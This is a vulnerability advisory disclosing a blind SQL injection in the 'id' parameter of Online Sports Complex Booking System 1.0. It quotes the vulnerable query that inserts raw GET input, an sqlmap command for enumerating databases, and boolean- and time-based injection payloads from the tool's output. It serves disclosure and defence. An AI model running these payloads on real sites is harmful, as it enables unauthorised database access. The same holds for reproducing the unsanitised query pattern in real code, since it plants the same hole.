Online Sports Complex Booking System 1.0 SQL Injection

2022.03.24

Credit: **Saud Alenazi (https://cxsecurity.com/author/Saud+Alenazi/1/)**

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

```
# Exploit Title: Online Sports Complex Booking System - 'id' Blind SQL Injection
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 3 in file "/scbs/view_facility.php"

$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");



# Sqlmap command:

sqlmap -u 'http://localhost/scbs/?p=view_facility&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=view_facility&id=1' AND 9877=9877 AND 'MVfb'='MVfb

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=view_facility&id=1' AND (SELECT 8456 FROM (SELECT(SLEEP(5)))ZnUC) AND 'GiOo'='GiOo
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2022030105)

Tweet

Lubię to!

Vote for this issue: 👍 0 👎 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)